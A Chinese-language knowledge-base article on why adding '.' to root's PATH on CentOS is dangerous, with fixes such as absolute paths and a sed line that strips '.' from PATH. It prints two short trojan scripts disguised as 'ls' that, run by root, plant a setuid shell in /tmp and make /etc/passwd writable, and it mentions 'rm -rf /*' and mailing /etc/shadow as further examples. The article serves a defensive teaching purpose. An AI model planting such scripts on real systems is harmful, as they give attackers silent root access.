主頁 > 知識庫 > centos環(huán)境變量如何設(shè)置安全問題?

centos環(huán)境變量如何設(shè)置安全問題?

熱門標簽:淮安人工外呼系統(tǒng) 新鄉(xiāng)智能電話機器人有用嗎 北京外呼系統(tǒng)官網(wǎng) AI智能語音外呼系統(tǒng)是什么 浙江虛擬外呼系統(tǒng)費用 ai外呼系統(tǒng)定制 海外文化宮地圖標注 荊門真人語音電話機器人哪個好 北京大興區(qū)地圖標注中心

.是代表當前目錄。如果將這點寫入root的環(huán)境變量,執(zhí)行腳本時,你只需要打腳本的名字,系統(tǒng)就會在當前的目錄下找該腳本并執(zhí)行。

例如,一個U盤插入電腦,你打了一個文件名字,系統(tǒng)就會執(zhí)行U盤中的該文件,如果有木馬程序,也會被執(zhí)行,比如腳本中有rm -rf /* 這樣的命令,你的系統(tǒng)就會被刪除。

設(shè)想一下,有一個人在一個他能寫的目錄下寫了一個名為ls的可執(zhí)行程序,程序會把/etc/shadow文件發(fā)送到某一郵箱,而root又恰巧在那個目錄下,想ls下,結(jié)果是什么呢?

所以,很多安全要求高的Unix系統(tǒng)甚至要求用絕對路徑調(diào)用命令

本文主要講述“.”在LINUX的環(huán)境變量PATH中所帶來的問題,及解決的幾種方法。

正如很多人所知道的$PATH環(huán)境變量里存著一張目錄列表,當用戶要執(zhí)行某一程序時,系統(tǒng)就會按照列表中的內(nèi)容去查找該程序的位置。當程序名前不帶點斜線 . / 時$PATH就會起作用。

對于普通用戶和root用戶$PATH里默認是不包含"."來指定用戶的當前目錄。這在本機進行腳本開發(fā)的程序員來說卻不方便,想圖省事的人就把點加到了搜索路徑中,這就等于在你的系統(tǒng)埋下了險情。

例如:root為了方便使用在他的當前路徑末尾加了個點"."(搜索目錄為代表當前目錄)

命令操作如下:

[root@rh root]# PATH=$PATH:.

[root@rh root]# echo $PATH

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

這下是方便了,直接輸入腳本名就能執(zhí)行。OK,正常情況下一點問題沒有,也省去了輸入./foo.sh的煩惱(foo.sh是我假設(shè)的腳本文件名)。有的root把PATH=$PATH:.這條命令加到了profile里,使所有用戶到分享你給他們帶來的"福音"。更有勝者root用戶竟然PATH=.:$PATH(將":"加到路徑前是另一種形式)。正常請況下一點問題沒有,直到有一天,張三用戶在他的主目錄下放了名為lls的腳本,并對root說他的系統(tǒng)出問題了希望root能幫他解決。(其實是一個trap)。Root一上來就su 成管理員權(quán)限,緊更著列了一下目錄。有可能管理員誤敲成了lls,結(jié)果哈哈。。。。

以下是個簡單的C shell 的例子

#!/bin/csh

If ( ! -o /bin/su )

goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $argv | grep -v ls

稍微變形就有個B shell的

#!/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fi

exec ls "$@"

如果root將其環(huán)境變量$PATH包含了"."并且其位置先與ls所在的系統(tǒng)目錄,那么當用戶在/tmp中執(zhí)行l(wèi)s時,執(zhí)行的是上面給出的腳本,而不是實際的ls命令,因為最終還是執(zhí)行了ls,所以root不會看出有任何異常。如果是root執(zhí)行了該腳本,就會將口令文件設(shè)置為可寫,并將shell復制到/tmp保存為.sh,同時設(shè)置其setuserid位,所有這一切都非常安靜地發(fā)生。

在以上這兩個程序里,心懷不鬼的人能寫入任何令root急的要跳樓的程序,部下陷阱等root來鉆,也許root在不知不覺中施行了也根本不會察覺。 也許在張三的主目錄下有一個名為ps的腳本里面包含有危險腳本,root可能一到他的機器前就輸入了ps,此時系統(tǒng)會首先到當前目錄下搜索,結(jié)果/sbin/ps卻不被執(zhí)行。類似這樣的小花招還有很多。

管理員同志,不要太緊張,下面我說說解決辦法。

首先,要養(yǎng)成輸絕對路徑的良好命令行輸入習慣,這樣就不會讓"不法份子"乘虛而入了。比如,列目錄最好用/bin/ls來列目錄,不要圖方便而冒然輸入ls。

其次,根用戶(root)不要把"."包括到搜索目錄列表里,而普通用戶如果個"."包括到搜索列表中的話別,則"."就應當放在搜索目錄列表的最后位置上。這樣一來普通用戶不會受到前面所述的那種危害。

最后,可以在登陸時在/etc/profile 和bashrc .profile文件的末尾添加如下一行

[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

這個簡單的sed命令將刪除路徑里所有的"."包括其另一形式"::"

還可以由crontab調(diào)用定期執(zhí)行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost point.txt

來搜索所有以點開頭的文件,再發(fā)送到root的郵箱里,再進行比較等任務(wù)。

標簽:蚌埠 安陽 贛州 盤錦 南通 梅州 亳州 阿里

巨人網(wǎng)絡(luò)通訊聲明:本文標題《centos環(huán)境變量如何設(shè)置安全問題?》,本文關(guān)鍵詞  centos,環(huán)境,變量,如何,設(shè)置,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《centos環(huán)境變量如何設(shè)置安全問題?》相關(guān)的同類信息!
  • 本頁收集關(guān)于centos環(huán)境變量如何設(shè)置安全問題?的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章